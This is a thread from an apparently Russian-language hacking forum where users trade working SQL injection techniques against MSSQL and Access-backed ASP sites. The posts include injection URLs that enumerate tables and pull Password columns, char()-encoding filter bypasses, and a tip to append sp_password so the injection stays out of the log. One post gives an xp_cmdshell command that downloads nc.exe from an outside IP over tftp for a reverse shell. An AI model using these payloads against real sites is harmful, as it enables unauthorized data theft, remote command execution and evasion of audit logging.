%2B - это и есть + но смысл не в этом, обычно если запрос передается через get + интерпритируется как пробел и при таком:id=1+1 в _GET['id'] зпишится Code: 1 1 а тут похоже идет через _SERVER['QUERY_STRING'] а потом парсится, при таком раскладе url коды нельзя использовать т.к. они не будут декодироваться а идти в sql запрос так как есть, так что тут как мне кажется вариант только использовать пробелы
Пробелы не получится использовать не урлэнкодя их, ибо тогда сам http запрос не получится, т.к. возникнет ошибка в его синтаксисе и сервер не воспримет его верно.
хз почему ну иногда + не пашет а %2B отлично работает, не забывайте то мы говорим как правило, про IIS а не apache.
Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру: exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe' Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера. P. S. TFTP не поддерживает аутентификацию.
да можно, 1ten0.0net1, вобще много что можно добиться даже без использования системных процедур главное были бы соответствующие права, а их к большому сожелению, часто не хватает, вот и приходится крутиться, а начет фтп серверов и иже с ними недолго сделать , что бы средствами комманд скачать из сети что нибудь и записать это куда надо, повторюсь, для этого нужны соответствующие права
Обход фильтрации, работает только на первой таблице, а на второй выводит следующию ошибку: Code: http://site.com/conference.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(108)%2Bchar(105)%2Bchar(110)%2Bchar(107)%2Bchar(95)%2Bchar(99)%2Bchar(97)%2Bchar(116)%2Bchar(101)%2Bchar(103)%2Bchar(111)%2Bchar(114)%2Bchar(105)%2Bchar(101)%2Bchar(115),char(97)%2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110)%2Bchar(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(95)%2Bchar(104)%2Bchar(105)%2Bchar(115)%2Bchar(116)%2Bchar(111)%2Bchar(114)%2Bchar(121))--
Подскажите,что значит ошибка [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause при вот такой вот инъекции: http://site.com/search/item.asp?itemid=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+e-mail Гугль сказал что ошибка бывает при за росах FROM в таблицу,которая зарезервирована MS Access.Например Date и тд.Кроме e-mail никакой другой таблицы не нашел пока.@@version, (select db_name())-- , (select system_user)-- тоже не работает,ругается на syntax.Заранее спасибо.
Я с мелкософтовыми продуктами к сожалению не дружу, подскажите плиз, есть ли какая возможность все же выполнить "необходимые" запросы на сайте который выдает к примеру на 1=(select db_name()) то что нужно. на or 1=@@version - надо писать 1=(select @@version) тогда тоже выдает --------------------- Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) -------------- Но гад на select union или к примеру на такой or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)-- выдает Microsoft OLE DB Provider for SQL Server error '80040e21' The requested properties cannot be supported. ------- Читал вроде это из-за того что требует dbOwnerPrefix хttp://www.aspplayground.net/forum/m375477.aspx Но где его вставлять тогда? И это имеется ввиду or 1=(select system_user) ? Заранее огромное спасибо и конечно с меня +++ Решено. Был просто не внимателен. Сорри
Все же помогите понять один нюанс. Запросом на подобии Выводятся имена таблиц. все отлично! Так же стандартными методами прочел имена БД. Но когда пришло время узнавать имена колонок.... вот тут получил задачку на которую сегодня весь вечер убил. Сервер отвечал --------------- error '80040e21' The requested properties cannot be supported. --------------- Как при не корректном запросе или если нет такой таблицы(БД и тд) Решение нашел вот в таком запросе По крайней мере за сегодняшний вечер я наконец увидел название колонки. Если просто начинать инжектить с юнион-селект - то запрос выводит вышеприведенную ошибку 80040e21. Завтра уже буду дабивать запрос до необходимого рабочего вида, но может кто то поможет понять почему так происходит? Небольшое дополнение: В общем - если у кого то случается такая бякак как у меня, нет вывода из системных таблиц и некоторых юзерских при or+1=(SELECT+TOP+1..... то можно это сделать таким способом: Был бы очень благодарен тому кто объяснит почему так происходит при первом примере запроса. А то что то в этих мелкософтовых продуктах как всегда все запутанно и все через ж0пу как я посмотрю)) трудно с нуля все разобрать.
SFX-SQLi (Select For Xml SQL Injection) - новый способ дампа таблиц за один запрос! http://raz0r.name/obzory/select-for-xml-sql-injection/
Спокойно и непринужденно выводил нужные строки с MSSQL, как внезапно на все запросы начинает появляться ошибка: Потом через некоторое время она пропадает, но через n-ное кол-во запросов к базе опять появляется. Почему она возникает?
конструкция вида ;[inj];--sp_password позволяет избежать записи в лог. Кроме sp_makewebtask есть sp_oamethod, с помощью которого можно произвести выгрузку содержимого в файл. Кроме того с помощью этой процедуры можно реализовать альтернативу xp_cmdshell без подгрузки внешних dll: http://www.motobit.com/tips/detpg_cmdshell/
да, проверил на локальном MSSQL 2005, действительно не работает Каким образом ты собрался запускать bcp для вывода dll в файл? Полагаю, что только с помощью xp_cmdshell.
У меня такой вопрос, если в названии таблицы есть пробелы то как вывести из неё двнные? ибо пишет ошибку синтаксиса. К примеру у меня название таблицы 'RGAuthor (child table)'. При запросе: Code: http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from+RGAuthor (child table)) Выдаёт: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'table'. /resguides/Resguide.asp, line 13
запрос: Code: http://site.com/resguides/Resguide.asp?ID=1+or+1=(select+top+1+Password+from+'RGAuthor (child table)') Ответ: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'RGAuthor (child table)'. /resguides/Resguide.asp, line 13
ни хекс ни чар не подходят %) Incorrect syntax near '0x5247417574686f7220286368696c64207461626c6529'....